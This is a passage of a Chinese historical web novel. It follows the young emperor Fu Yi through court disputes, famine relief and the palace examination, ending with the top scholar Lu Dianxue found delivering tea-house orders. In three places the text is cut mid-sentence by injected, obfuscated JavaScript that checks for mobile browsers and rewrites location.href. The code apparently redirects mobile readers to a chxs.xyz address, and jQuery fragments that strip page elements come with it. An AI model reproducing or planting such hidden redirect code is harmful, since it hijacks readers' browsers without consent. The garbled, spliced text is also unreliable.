突然想起卢点雪的事,云卷打断云梵的话,急急问道。
“还是勿要擅作主张,她素来不喜承人恩情。”
云梵摇了摇头,若有所思,
“没瞧见她因王月生答应嫁与甘清作妾,二人差点闹翻了吗?你若还想拉她入伙做生意,不妨趁着她仍念着父亲助她进崇正书院的恩情再试一试。万一之后她金榜题名,你可就再无机会了。”
“算了算了,”云舒讪笑两声,“人要有自知知名。她回乡看望完父母,如今应当在京中备考了吧?哎,也不来个书信,不知情的还以为她被人拐去写讼状了。”
“回乡看望父母?她走前是这般说的?”
听闻此句,云梵的眉头不自觉地蹙了一下。
他原是想说些什么,少顷却又按捺住了这个念头,云淡风轻道,
“我当时没听清,想必是了。我原先还想着她要是乡试不成,干脆让父亲把她弄进国子监,也好日后驳查黄册的时候帮我们搭把手。”
“那月生怎么办?她是铁了心地要当应天府尹的妾室吗?哎,若是让澄怀知道甘府尹和她早已串通一气,上下早已打点好了,还不知会怎样生气……”
“我早就跟她说过甘清不是良配。她若执意做到如此地步,我也无话可说。”
云梵垂下了眼帘,眸中却是一片冰冷。
云舒见状,有心想略过这个令人不悦的话题,遂另起了个头儿:
“不讲这个了,京中茶楼那我们接到一笔大单子,是大理寺卿之子宋徽猷的。这次他不仅要求我们送上所有的新茶,还拜托我们去寻好的伤药。我记得他是陛下的好友,可是陛下出了什么事?”
“他若是出了什么事,宫中不是有太医院候着,用得着这么拐弯抹角?估摸着是小殿下搞了什么需要掩人耳目的事,这才让宋徽猷出面。”
云梵顿了一下,轻笑一声,
“再说,这不是已经有太后娘娘先顶着了?陶王不过十一岁,此次山东赈灾他做得如此之好,其背后不都是太后的主意?特意打出先陶王的旗号,既得了民心,又无声地向天下宣告了当今陛下的亲生父亲是谁,当真是一举两得。儿子被群臣逼着改认生父,她这位太后娘娘自然也不愿意。”
“陛下如今这个境况,大哥可是想好对策了?先生可是叮嘱过您要好好教导陛下,为他排忧解难的。”
云卷不免有些同情起傅谊。
然而云梵并未理会他的话,向向云舒嘱咐道:
“宋徽猷点名要的那几类茶我全看过了,基本都是小殿下爱喝的,你照做便是。再以我的名义捎点别的点心小吃和野菜,别跟茶楼的货弄混了,最好是另找一人给他送去。”
“至于这位小殿下,哎,确实不是个当皇帝的料子啊。光有脾气没有手段,被人压得抬不起头来也纯属意料之中,我还真有点怀疑他能不能帮到咱们。”
“那大哥是觉得——?”
“实在不行,那就换位皇帝来教教吧。”
云梵笑了笑,语气漠然,不带一丝感情,
“反正父亲也只是期盼着我能去辅佐皇帝,却没说让我一定要为谁鞠躬尽瘁,死而后已啊。”
“若是他命该如此,我也不愿介入其因果。”
24. 第 24 章
春闱将近,京中愈发热闹,人来人往,车水马龙。
太后同昆将军也赶在春闱之前带着陶王回来了。
此次山东赈灾中,陶王的所作所为获得了不少百姓的夸赞。
当地更是有不少官员接连上疏,要为陶王和太后娘娘请功,连带着请求为先陶王追赠封号。
这一举,自然又引起了朝中一番腥风血雨。
以梁纲为首的阉党连声附和,甚至还提议让先陶王入主太庙,气得刑部尚书程国泰当场就要与他干架。
至于以萧锵为首的崇正党,有礼部尚书季无忧坐镇。季尚书不答应,先陶王改封号入太庙的事就绝无可能。
故而每逢早朝,两派的人都会因此斗得不可开交。直至季无忧和岳渊峙被任命为会试的主考官,此事才告一段落。
不过这个情景,傅谊倒是乐见其成。
底下群臣这么一闹,倒是把他入世庙嗣的事给忘了个一干二净,也没人再叫嚣着逼他改认生父了。
不过,傅谊也真没胆让自己的父亲入主太庙。
本朝太庙一共就只供奉九个席位,已经算违了历代王制,毕竟按照礼法,太庙中最多供奉七个皇帝的牌位。
这七个牌位中,开国之君的牌位要一直供奉着,其余六个位置则需“亲尽则祧”。
“亲尽”即别的皇帝要是想入主太庙,就要将与其血脉关系最远的皇帝从太庙里挪出来,安排到姚庙。
至于琝朝太庙这多出来的两个牌位,是太/祖为了将高祖也拉入太庙,这才将席位增加至九位。
到傅谊这一代,九个牌位早已各自有主。
傅谊若是想将先陶王移入太庙,要么学着太/祖一般再增加个牌位,要么就将与之血脉关系最远的皇帝给除去。
高/祖太/祖自然是万万动不得的,成/祖也不行,况且傅谊自个儿也是成/祖这一脉的,若是动了这位的牌位,后面的皇帝该如何自处?
傅谊不想给自己找麻烦,更何况他也没太/祖那般的功绩,敢于大手一挥直接增加牌位。
娘也同他说了,自己的性子跟父亲可谓是一脉相传,若是这样也敢入太庙,父子俩不得被地下的列祖列宗骂死?
傅谊还是很听劝的,但还是想给亲爹谋个好名声。
他在文官发怒的边缘小心反复试探,最终给先陶王追赠了几个像模像样却又不是那么僭越的称号,又祭祀一番。
当晚,傅谊就梦见了自己那位已经不太记得清面容的爹。
先陶王看见自己儿子长这么大,很是欣慰,赞扬声不绝于耳。
他嘱托了傅谊几句要听娘的话,照顾好弟弟一类的措辞,顺带着还不忘警告傅谊以后少偷点上贡用的橘子。
先陶王声色俱厉地表示他在阴间都没得吃了,不然就要托梦向澜语告状,吓得傅谊一下子就醒了。
傅谊醒后,总觉得殿内有股若隐若现的春桔香。
还未等他过问,黄保就颠颠地凑过来,说是宋司直从林家茶楼那订购的茶叶和时鲜已经到了,现就摆在殿外。
黄保神采飞扬,说他从宫中听到了不少秘闻,诸如主子自打小就爱吃橘子,恨不得一年四季都要吃。有时吃不到就开始大哭大闹,免不了被太后娘娘教训。
先陶王心疼儿子,故而就总是偷偷地拜托宫中负责采买的太监捎一些回来。
然后将年幼的小世子抱在膝头,一瓣一瓣地将橘子剥下,耐心撕掉上面的橘络,边哄边喂。
不过介于陶王喂得太多导致傅谊上了火,父子俩不免一同被岳澜语痛批一通,双双领罚。
傅谊听后愣了愣,而后吩咐下人拿几个春桔去祭奠父亲,留下的几个则让黄保去请陶王傅谦过来一起吃。
黄保的伤恢复得很好,如今已没什么大碍。
一是宋徽猷弄来的药确实很好用,二是掌印太监张乾对他多有照拂。
张乾认了黄保做干儿子,于是乎就让他也进了司礼监,不时提点他如何伺候主子万岁爷。
毕竟张乾也是头一次见到,在宫中混了这么久还如此不堪的小宦官。
贴身伺候过先太子和万岁爷,结果到现在还是这么笨手笨脚,简直就是在丢他们司礼监的脸!
不过也正是有了张爷的亲自教导,黄保愈发懂事,偶尔也能为傅谊分忧了。
待黄保走后,傅谊立马掀了装着时鲜的盖子。
里面竟然有他先前在金陵想吃的野菜,还有封书信,隐隐有股檀香味儿。
傅谊愕然,没想到这是云梵寄来的。
他本以为这也是林老板所送的货物。
信中话不多,像是与他唠家常般,没有刻意的恭敬与疏离,似乎仍还把傅谊当作那位在金陵玩乐的小世子。
傅谊瞧着瞧着,望了望手边那堆野菜,鼻子有些发酸。
此人还记得先前自己随口说过的话,这是他未曾想到的。
身为帝王,奢望他人真心相待似乎已经是一件极为困难的事。
宋穆安算一个,但自乾清宫走水那晚,傅谊就不敢再随意召他进宫,生怕自己又一不小心做错什么事又连累到旁人,甚至是宋大人。
京察在即,他不想他们被御史们抓到把柄,一纸奏章弹劾上去,落个“不谨”“浮躁”的判决。
只是不知为何,宋徽猷最近看起来很忙。
不光是他,大理寺的人都很忙碌,似乎是忙着查抄销毁《京华日钞》《四书五经大全》之类的科举用书。
毕竟科举将至,这类书籍一下子涌入街市轮番售卖,也不足为奇。
没过多久,傅谦匆匆赶来了。
傅谊正打算让他随便拿些吃吃,没想到傅谦却是一直不肯接受,连声说着“请陛下恕罪”。
傅谊很是奇怪,就问他可是去山东的时候被人欺负了?
小陶王头连声否认,头摇得跟拨浪鼓似的,连翼善冠上的两翼也跟着一晃一晃,看起来活像只受了惊的小兔子。
傅谦小声道,没有人欺负他,只是他看到了好多被饿死的百姓,很是心痛。
他抬起头,小心翼翼问傅谊,皇兄您知不知道,就算朝廷费劲心思弄了那么多银子去赈灾买粮,可下发到百姓手中时每人只能轮到一碗稀粥。
或许那根本就算不得粥,只是悬着几粒大米的清水。
他还说,母后都在让昆将军去帮她当了首饰,愁得整晚都睡不着觉。
夜里母后还会梦到父王,父王也在劝她,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505102|154964||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
回京后就把陶王府那一屋子宝贝拿出去当了换银子。
父王说他早就死了,根本就不在乎那些东西,他只想他封地里的百姓过得好一点。
傅谦不知道母后是怎么想的,只觉她看着一日比一日憔悴。
傅谦还问傅谊,陛下可知鲁王?就是封地也在山东的一位郡王。
他和母后初到山东时,就歇脚在鲁王府上。
鲁王和当地的官员请他们一起看花灯,享佳肴,喝了许多许多的酒。
他们一边喝一边赞颂着陛下的如天之德,说是山东百姓能得到救济,全仰仗于陛下的一片拳拳爱民之心。
散席后,有个官员喝晕了头去后园散心,讲了一路的胡话,全被傅谦给听到了。
那位官员很是庆幸自己是在山东任职,有皇帝的庇荫,还能在鲁王府吃香的喝辣的。
虽然比起江南老爷们还是差了不少,不过尚还可以。不像山西那,连宗室都没有好日子过。
就比如说那个山西怀仁王府,因朝廷积欠禄粮数年,导致他年逾三十都没有婚配。【1】
有的藩王更可怜,自己的儿子因为上不了金册玉碟,连名字都没有。请求起名的折子一直被王府官压着,送不到宗人府。
就算他们想出去乞讨也不行,毕竟太/祖爷立了规矩,就算饿死也不能出去讨饭。
更何况藩王不得私自离开封地,就藩的二王也不能相见,藩王子女不得为官,王府官也不得改任地方。
傅谊听了很是沉默。
他从来没有听百官这么上奏过。
所有人通通都在跟他要钱,可国库里也没有钱,他到底要上哪去弄银子?
傅谦听后也低着头,许久不出声。
傅谊小心翼翼地观察着弟弟的神色,见他神色郁郁,不知是在忧心山东的百姓,还是山西的宗室,亦或是日后就藩后的情形。
傅谊的心中也不太好受,便喊来内臣令御膳监做份米糖给陶王。
然而傅谦却是紧接着问了句多少钱。
来者对曰八两。
八两,这让傅谦大吃一惊。
他请求傅谊同意让黄保拿把剪子和秤,剪个一钱的银子到街市上去买。
半个时辰后,黄保捧着一盒米糖回来了。
傅谦将它分给兄长和黄保,自己也吃了点,笑笑:
“此宁须八两耶?”【2】
然而傅谊是丝毫也笑不出来。
他皱着张脸,一点点,若有所思地啃着米糖。
殿内,从南洋运来的香料在铜狮纹双耳三足香炉内焚烧着。
轻烟迤逦升起,绕过描金的彩漆拔步床,银制的六棱花鸟壶,隐匿在贝母屏风上由七彩螺钿镶嵌而成的花草树木当中。
所有的一切,都是这般熠熠生辉,光彩夺目。
头一次,傅谊觉得这香味儿委实重了些。
他喊黄保打开窗子,同傅谦站在一边透气。
迎面而来的风吹得俩人的衣袍簌簌作响,倒是驱散了几分香料带来的厚重气息。
傅谊开口发文:“你可知,八两银子是多少?”
傅谦垂下脑袋,不卑不亢回道:“回陛下,是一户普通人家一年的花销。”
25. 第 25 章
今年会试的题目,是由礼部尚书季无忧和侍郎岳渊峙共同出的。
虽说傅谊和崇正党之间关系微妙,但出奇的是,岳渊峙和季无忧倒是意外合得来,两人还时常互换文章点评。
春闱一过,临近殿试,岳渊峙就顺势拿了季无忧出的题目来给傅谊讲解。
岳渊峙本想着让傅谊挑几个他早已拟好的殿试策题。
未想小皇帝不愿假手于旁人,摩拳擦掌,偏要亲力亲为,岳渊峙也只能给他临时抱抱佛脚。
介于岳渊峙深知傅谊脑中那一点宛若搁浅般的学识,学得不仅少,还时常半途而废,所以他并不指望皇上能想出什么拿得出手的题目,只待之后由自己这个翰林院掌院来润色一番。
“比如说这第一题,‘君子易事而难说也。说之不以道,不说也;及其使人也,器之”,就是截取自《论语·子路》第二十五,对比来讲君子和小人。”【1】
“何意?”
“意思就是,在君子手下做事情很容易,但要取得他的欢心却很难。不用正当的方式去讨他的欢喜,他是不会喜欢的;而到他用人之时,却总是衡量各人的才德再用人。”
岳渊峙清了清嗓子,谈起擅长的艺学,顿时就眉飞色舞起来,
“不过仅理解这一句的含义,还是远远不够的。要先破题,点明题意,顺破文义逆破文义皆可,再联系上下文,贯通全篇,如此才能明白此句在文中的含义。”
傅谊小声嘟囔着:“我又不考科举,讲这么细作甚……”
不过岳渊峙没听到他讲的这话,仍旧兴致勃勃地分析道,
“但有一点需要铭记,破题时切不可牵连到上下文,否则就犯了连上侵下之大忌。当然破题时小心些,将上下句之意换个字眼来写即可。譬如我方才所说的君子二句,下句便是‘小人难事而易说也,说之虽不以道说也,及其使人也求备焉’。”
“哦,那是不是这个意思?在小人手下做事很难,但想讨好他却很容易。用不正当的方式去讨好他,他也会很高兴;但在用人之时,却是要百般挑剔,求全责备的。”
“正是如此。”
话音刚落,舅甥二人齐齐反应过来,很有默契地面面相觑。
半晌,傅谊终于忍不住开口,面色看起来很是微妙,
“所以这试题,季尚书可是针对赵除佞?”
“嗯……也有可能是对陛下您有点意见。”
岳渊峙稍稍犹豫了一下,但还是忍不住一语道出了事实。
傅谊:……
傅谊:“好吧,爱说说去吧,我朕宽宏大量,一点也不在乎。”
话是这么说,可岳渊峙见傅谊面色愈黑,显然不是嘴上说的那样。
他连忙打起圆场:“呃,也有可能是季尚书对所有人都有意见也说不准——陛下您看,他出的这下一题不就是来鞭策考生的?其行己也恭,其事上也敬,其养民也惠,其使民也义……”【2】
在岳渊峙的亡羊补牢下,傅谊总算笼统地掌握了个大概,别出心裁地出了道策题。
对于放榜那日的治安,傅谊思索了一下,除却照例让五城兵马司巡街,还安排了舅母昆玉霜前去维持秩序。
殿试放榜当日,在傅谊于华盖殿亲自主持的传胪筵过后,昆玉霜便匆匆将朝服换下,径直去了五城兵马司。
她在长街上策马而过。
一路上人声鼎沸,处处都在议论着当今的状元当花落谁家。
昆玉霜估摸了下时间,黄榜差不多已该张贴在长安门上。
介时,顺天府官会带着伞盖仪从,送状元归第。
昆玉霜随着人流,缓缓朝着长安门的方向骑去。
还未至长安门,她倒是见到不少富绅和权贵家的壮丁,虎视眈眈地盯着混入人群的年轻进士。
若不是有昆玉霜和五城兵马司的人维持着秩序,这些人怕是当场就要掏出绳子,将那些青年才俊绑回家。
昆玉霜连连苦笑,暗叹自己起了个不好的头,以至于榜下捉婿的风气愈来愈甚。
黄榜甫一贴完,不知是谁突然是谁大喊了一声“噫,好!我压中新科状元了!”。
一石激起千层浪,众人的目光纷纷汇集到这个手舞足蹈的人身上,随即又齐刷刷地落在黄榜之上。
而那人则兴高采烈地转过身子,直嚷着自己要赶紧去正阳门的徽商会馆兑银子。
他这么一吼,看榜的人更加拼了命地往前挤,而已经看过的人又有不少跟着此人一起推搡着往后退去。
人群顿时被破开一道口子,如一条湍急的小溪般逆流而去,渐渐势不可挡。
眼见动乱将生,昆玉霜当机立断,召集五城兵马司的士卒,下令制止那队人后退,即刻疏散人群。
不想远处来了一队人马,竟霎时令长安门前一片鸦雀无声。
昆玉霜定睛一瞧。
来者身着大红织金曳撒,胸前一块豹纹补子,足蹬黑色小羊皮靴,竟是一个本不该出现在这里的人。
人群自动为此人和他的缇骑让了条道。
见状,昆玉霜翻身下马,行了个军礼:
“上差大人,别来无恙。”
“昆将军多礼了,不必如此客气。”
来者正是沈靳炳。
自他护送新皇入京,就已擢拔为锦衣卫指挥使。
昆玉霜不动声色地打量着他。
眼前此人虽有从龙之功,但昆玉霜没少听过他嗜杀的名声。
更何况傅谊还是陶王世子的时候,就曾目睹过沈靳炳办案拿人的场景,吓得当晚就钻进岳府,抱着她的兵器睡了一晚。
若是她没记错,沈靳炳是世袭的锦衣卫千户。其祖辈德封朝天女户,祖宅中至今还立有一座贤妃碑。【4】
不过听闻沈靳炳倒是对此甚为厌恶,至今都对祖上靠卖女人承袭来的爵位耿耿于怀,所以费尽心思拼命往上爬。
不过眼前最重要的事,是他为何而来。
自赵除佞上位,五城兵马司便成了都察院和东厂厂卫争相侵占的对象。
今日巡城御史来五城兵马司转一圈,明日便有锦衣卫以办事为由,强拉着兵马司里的人牟利去了。
昆玉霜眼中警惕之色不减,一边留心着眼前的百姓,一边警惕着沈靳炳和缇骑是否还会有什么别的动作。
沈靳炳倒是不甚在意。
他只是似笑非笑地盯着那个最先带头逆行的人,右手缓缓地搭上腰侧的绣春刀,有意无意摩挲着剑柄。
他这一举顿时令那人腿脚发软,一下子瘫坐在地。
直至缇骑呵斥其有序退去,毋要挡道,那一队人群方才如梦初醒,在昆玉霜的指引下,哆哆嗦嗦地缓步退去。
沈靳炳的出现,吓退了不少围观的百姓。
看过榜的拔腿就跑,没看过榜的看完后也不敢多待片刻。
而那些等着帮下捉婿的家丁们,此时也夹着尾巴灰溜溜地跑了,生怕自己触到姓沈的霉头上,一个看不顺眼就把自己给提溜到诏狱里去。
望着黄榜前只剩几个稀稀落落的人影,昆玉霜不由感叹锦衣卫做事之有效,立竿见影。
难怪傅谊总骂沈靳炳是个活阎王,逢人就说此人应当是在北镇抚司待久了,阴气太重,大晚上乍一见,活跟个鬼影儿似的飘着。
如今这鬼影儿飘到她身边,却与傅谊口中的形容有所差别。
昆玉霜没瞧出什么戾气与疯劲,倒是瞧出了几分,谦逊?
“今日有劳将军了,陛下忧心您太过辛苦,故特命在下前来襄助将军。”
“怎么,上差大人可是觉得,末将到了京城,连个巡街的差事都顾
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505103|154964||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不过来?”
昆玉霜嗤笑一声,目光灼灼地望向沈靳炳,眼中无丝毫畏惧。
“岂敢!岂敢!将军在战场上立下的赫赫战功岂是我等所能企及,所作所为也皆令万千百姓钦佩不已,心中也都期盼着在金榜下绑个探花郎回去呢。”
谁料沈靳炳却是朗声大笑起来。
这一笑,吓得还逗留在长安门前的几人宛若惊弓之鸟,撒开丫子就跑。
他这么一说,昆玉霜一时半会儿还不知该如何反驳。
沈靳炳也没说错,她确实也算是帮下捉婿,不过是瓮中捉鳖,早就定好了的。
因昆家与岳家世代交好,她和岳渊峙也是自小就定下了娃娃亲,青梅竹马,两小无猜。
岳渊峙加冠的那日,他还特意向两家的长辈们起誓,待昆家播州一役凯旋而归,他岳渊峙金榜题名的那日,必定来迎娶她。
他的表字本是岳家姐姐早就想好的。
但岳渊峙执意要自己给自己取,渊清玉絜,往后就叫作清絜。
父兄听后很是满意,大声赞叹岳家又出了个耙耳朵,之后便安心地将她托付在了岳家。
只可惜,后来他们就再也没能回来了。
没过多久,岳家姐姐救了被土匪劫道的先陶王。
先陶王对岳家姐姐一见倾心,死缠烂打许久,终于如愿以偿。
那二人为了清絜的名声考虑,不愿旁人在背地里讥笑他岳渊峙走后门,是靠姐姐嫁了亲王才中的进士,故而特意选在黄榜出来后的吉日成的亲。
彼时她刚刚平定播州的叛乱,回京复命,听闻新晋探花郎正是当今陛下最为宠爱的亲弟弟——陶王的小舅子,如今尚未婚配。
就是人太过羞涩,自打去琼林宴的路上被丢了一身的花枝,探花郎就躲在陶王府中不肯出来了。
愣凭京中多少贵女递出请柬,通通被先陶王那个恶霸给狠狠地打了回去。
待她抵达武英殿,靖安帝亲自授予她“定远大将军”一职,为父兄追赠了谥号,又问她还想要什么赏赐。
昆玉霜想了想,眼角余光瞥到那个冒着被御史记上失仪的风险,对着自己一直使眼色的探花郎,心下了然。
她郑重开口,面上却略有些不好意思,
“末将听闻京中素来就有帮下捉婿这一习俗。不知陛下可否同意,让末将将那探花郎绑来做夫婿?”
靖安帝自是满口答应,笑着对陶王说,不要再把小舅子藏在他那金屋里,人家都上御前来讨夫婿了,赶紧放出来交给昆将军,免得美人再遭人觊觎。
此后,她与清絜的婚事便成了京中一桩美谈,倒是甚少有人知道他们是自小就定好的姻亲。
估计眼前这位锦衣卫指挥使也是如此以为的吧。
不过沈靳炳似乎并无恶意,也没把刚才说的话当作一回事儿,笑完便罢。
他摆正神色,对昆玉霜继续道,
“是在下的错,让昆将军误会了。这确实是陛下的命令,不过陛下还有另外一件事要交待给我与将军。”
“何事?”
昆玉霜不解。
“陛下昨日在文华殿读了一卷后,名次还未排,当即就点了状元,并且将亲赐的琼林宴提前至了今晚,就是为了尽早一领那位大才子的风采。”
“而传胪宴后,陛下命我速速追回状元郎,再请昆将军将其护送至宫里,免得出榜后出了差错,人中途被绑去成亲。只是——”
沈靳炳兀地话锋一转,面色凝重了起来,
“那状元郎忽然不见了,仪仗队也未曾见过他。我的人拿着画像在黄榜前寻了半天,还去了他在京中的住所,也未曾发现其踪迹。”
“你是说那位看着年岁不大的卢状元?他是何方人士?”
“姓卢名点雪,徽州黟县人士,时年仅二十。”
26. 第 26 章
“居然如此年轻,好生厉害,”昆玉霜惊叹一声,“真是年少有为。”
“不只如此,此人还连中三元,江山代有才人出,这对我朝来说也是一大幸事。”
“都已连中三元,上差大人还愁打听不到此人的行踪?”
“昆将军莫要取笑在下了,”沈靳炳无奈苦笑,“若不是陛下一时兴起,急着要见此人,我何须如此兴师动众?着实是陛下与这位状元郎都不按常理出牌啊。”
“这倒也是。”
昆玉霜是知道自家外甥脾气的,也不意外。
想起这位状元郎的籍贯,她不由好奇道:“此人也是徽州人士?难不成跟魏尚书是同乡?”
“算是吧,不过魏尚书是婺源县的,和朱圣人倒是同乡。”
“那这位状元郎,不会也同魏尚书一样难讲话吧?”
昆玉霜此话一出,二人的脑海中不约而同浮现出魏与归那副得理且不饶人的模样,不由一阵恶寒。
“应当不会,若是如此,陛下恐怕也不会那么喜欢他的策论。”
“他莫非是有什么惊天地泣鬼神的好才华,竟引得陛下如此垂青?”
昆玉霜这下是真惊讶住了。
不怪她会有如此反应,着实是傅谊实不像是那种会主动找人谈文论道的好好学生。
不过她倒觉得皇上兴许是跟先陶王一样,不喜文墨,于其他方面倒是颇有天赋,比如说武艺和兵法,这些陛下就学得很快。
也许如今还多了个佛法和外语,因陛下时不时就喜欢召僧人和传教士进宫,虽然此举也没少被程阁老与御史们骂。
“才华肯定是有的,不然也不会被评为一卷,”
说到此处,沈靳炳顿了顿,露出一个一言难尽的表情,
“然而有的读卷官认为此人之言惊世骇俗,不该被点为状元,反之,以季尚书为首的另一方却是极为推崇。双方从昨日的读卷官宴一直吵到了今日传胪的前一刻。”
“最终陛下一锤定音,说是今晚的琼林宴上,就让诸位大臣与状元郎依其策论论辩一番,届时再看看这状元是不是点得名副其实。”
“那陛下为何方才在传胪之时不说此事?那时候进士们都还在场的。”
“呃,其实是皇爷见人都走了后,才一拍脑袋想出来的主意……”
“……”
“原来如此,”昆玉霜决定终止这个话题,“如何去寻状元郎,上差可有头绪?”
“去正阳门的徽商会馆,那里头的徽商肯定知道。”
待昆玉霜与沈靳炳换了身便服,赶至正阳门,徽商会馆的门前早已被围得水泄不通。
几个徽商乐呵呵地站在门口,财大气粗地撒着碎银,大声吆喝着让舞狮奏乐的人接着奏乐接着舞,一同沾沾卢状元的喜气!
还好昆玉霜有先见之明,让沈靳炳换了那身令人闻风丧胆的公服,不然这番热闹的景象,怕是又要戛然而止。
有眼尖的徽商认出了昆将军,满脸堆笑地跑过来,殷勤地招呼道:
“呦,这不是昆大将军吗!蒙您大驾光临,寒舍蓬荜生辉啊!您得空不妨进来坐坐,喝杯茶再走?”
此话一出,店里立马涌出了一堆小二,拥着二人进入会馆。
昆玉霜半推半就地入了座,脸色略有些为难,对那位徽商说道;
“掌柜的,你的好意我心领了,但这次我们是有公务在身——”
“大将军喝杯茶再走也是来得及的,这又不碍事!刚从敬亭山上采下来的敬亭绿雪,听闻陛下也是极为喜爱的,您不尝尝?要是觉得还行,回头小的再送些给您?”
徽商急忙打断昆玉霜的话,以一个眼神示意小二赶紧端茶送水。
随即他不动声色地从胸口处摸出一沓银票,以迅雷不及掩耳之势递给二人,压低嗓音紧张问道,
“鄙店做的都是正经生意,大人不要见怪。只是将军身边的这位爷气度不凡,瞧着有些眼生,敢问您是——?”
“一介小官,无足挂齿。”
昆玉霜正被惊得说不出话来,沈靳炳却是处之泰然地收下那叠银票,略微颔首,
“我们到这只是想打听下卢状元的行踪。”
“卢状元?小的没见过他,”徽商摇了摇头,“只听说他与我们乃是同乡,不过门口站着的几位曾与他打过交道,大人不妨去问问他们。”
于是沈靳炳又把门口的那几个徽商叫进来问了一遍。
其中有一人说自己就是将状元郎送进京的,与他颇为熟稔。若是找不着他人,可以去林家茶楼找找,卢老爷似乎很喜欢喝他们家的茶水。
沈靳炳二话不说,收起绘着卢点雪模样的画像,准备动身前往林家茶楼,旁边的昆玉霜却是喊住了他:
“沈大人且慢,那桌边就站着个林家茶楼跑腿的小厮,您要不看看?”
“嗯?”沈靳炳扭过头,迅速扫了眼昆玉霜所指的位置,没当一回事儿,“在下知道林家茶楼在哪,无需他们家小厮带路。”
“不是,我的意思是让你看看,此人是不是跟卢状元长得很像?”
昆玉霜又望了望那个小厮,欲言又止,迟疑道。
“什么?!”
闻言,在场几位的目光齐齐转向那个小厮。
这小厮其貌不扬,灰头土脸的,此时正提着个写有“林家茶楼”的大食盒,将小二刚递来的吃食一一装进去。
“敢问阁下可是卢老爷?”
认识卢点雪的一个徽商率先开了口,试探发问。
“是我,”卢点雪头也不抬地回道,继续清点着手中吃食的数量,“实在是失礼了,今日我有急事在身,不便与您叙旧,改日有空再来赔罪。”
语毕,她抬脚就要跨出门,却被一人伸手拦下:
“卢生且慢,眼下我也有急事要寻你。”
“都说了我没空,”卢点雪毫不留情地把话给堵了回去,“有什么事儿等我送完这一单再说。送晚了,林老板可是要扣我工钱的。”
“哦,有什么事竟然比赴琼林宴还要重要?”
“琼林宴……?不该是明日吗?”
此时,卢点雪这才抬起头,面露诧异之色。
“皇爷改时间了。”
沈靳炳淡淡道。
“什么时候?”
“马上。”
“?”
卢点雪有些懵。
她挠了挠头,终于正眼直视着拦在她身前的沈靳炳,顿时愣住了。
这不是她离开金陵前,云舒叮嘱她千万不要去招惹的那个锦衣卫指挥使,能止小儿夜啼的京中杀神?!
这个时候锦衣卫指挥使找上门来,莫非是自己暗自编纂科举用书的事暴露了?
可是不对啊,她记得此事是归大理寺所管。
大理寺也没见得把这任务当回事儿,也可能是不想断了天下学子的求学之路,只草草烧了几家书铺里卖的书以儆效尤,就此作罢。
那为何沈靳炳会来找她?还是穿着便服来?
卢点雪表面不动声色,心中却是掀起了惊涛骇浪。
不过此时沈靳炳没注意到她,反倒是对着那几位徽商,出言嘲讽道:
“亏你们还在会馆里为卢状元庆贺了半天,合着人家就在这,竟没有一人发现?”
“大人冤枉啊!我们也着实不知道卢老爷是何时冒出来的。卢老爷自出宫门后就消失不见了,连会馆的庆功宴都没来吃。这种时候,谁会去在意一个茶楼小厮!”
说话的徽商擦了擦脸上冒着的冷汗,忍不住解释道。
他也是奇了怪了,哪家学子中了状元后不好好庆贺,反倒连游街都不去,径直跑去林家茶楼跑腿送单子!
“是的,不怪他们。会馆正门前人太多,我为了赶时间,就抄小路从后门进来了。”
卢点雪点点头,一本正经解释道。
沈靳炳斜睥了一眼她,语气颇为玩味:
“卢生当真是好兴致,都中状元了还不忘赚个外快。当真是拉得下脸面,沉得住气啊。”
“不是,这个是本职,我就与林家茶楼早就签了长工合约,只请了今日上午和明日上午的假。”
“?”
这下轮到沈靳炳困惑了。
“所以卢状元自打中了进士后就在林家茶楼跑腿?何必如此作践自己。”
“没钱。京中房租太贵,我付不起,大人可是觉得有什么问题?”
纵算听出了沈靳炳话中淡淡的不屑,卢点雪也没太放在心上,不咸不淡地反击道。
她话音刚落,沈靳炳那如鹰隼般的视线就一直紧紧地盯着她看。
直至盯得卢点雪浑身鸡皮疙瘩都快起来了,浑身不自在,他这才收回目光,大笑着出了门,
“卢老爷当真是坦率,嘴皮子也算利索,不愧是拔了头筹的状元郎。那本官的任务也已算完成,回宫复命去了。天子之令,即命你进宫面圣赴琼林宴,与朝廷重臣就殿试策题再行论辩。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505104|154964||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
“卢点雪,本官可是十分盼着你去收拾收拾那些嘴欠的文官,挫一挫他们的锐气啊。昆将军,接下来的事就拜托您了。”
“等下,那我的单子怎么办?我要是现在就进宫,这单子送不到客人手中,而我又不能在茶楼歇业前赶回去解释,林老板会记我旷工的!”
卢点雪望了望沈靳炳离去的背影,又望了望自己手中的食盒,正欲再说些什么,食盒却被一拥而上的徽商给一把夺了去。
